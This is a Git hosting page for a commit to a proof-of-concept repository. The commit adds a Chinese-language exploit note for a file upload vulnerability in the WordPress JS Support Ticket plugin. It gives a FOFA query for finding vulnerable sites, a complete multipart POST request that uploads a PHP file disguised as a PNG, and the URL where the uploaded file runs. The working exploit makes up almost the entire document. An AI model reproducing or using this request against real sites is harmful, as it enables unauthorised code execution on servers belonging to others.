admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create WordPress-js-support-ticket存在文件上传漏洞.md

Browse Source
This commit is contained in:
wy876 2024-04-07 18:43:29 +08:00 committed by GitHub
parent a331a133a2
commit 4c1c79d2ea
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 34 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

34
WordPress-js-support-ticket存在文件上传漏洞.md Normal file
View File

@ -0,0 +1,34 @@
## WordPress-js-support-ticket存在文件上传漏洞
## fofa
```
body="wp-content/plugins/js-support-ticket"
```
## poc
```
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="1.php"
Content-Type: image/png
<?php echo md5(123);unlink(__FILE__);?>
----------767099171--
```
文件路径
http://ip/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/1.php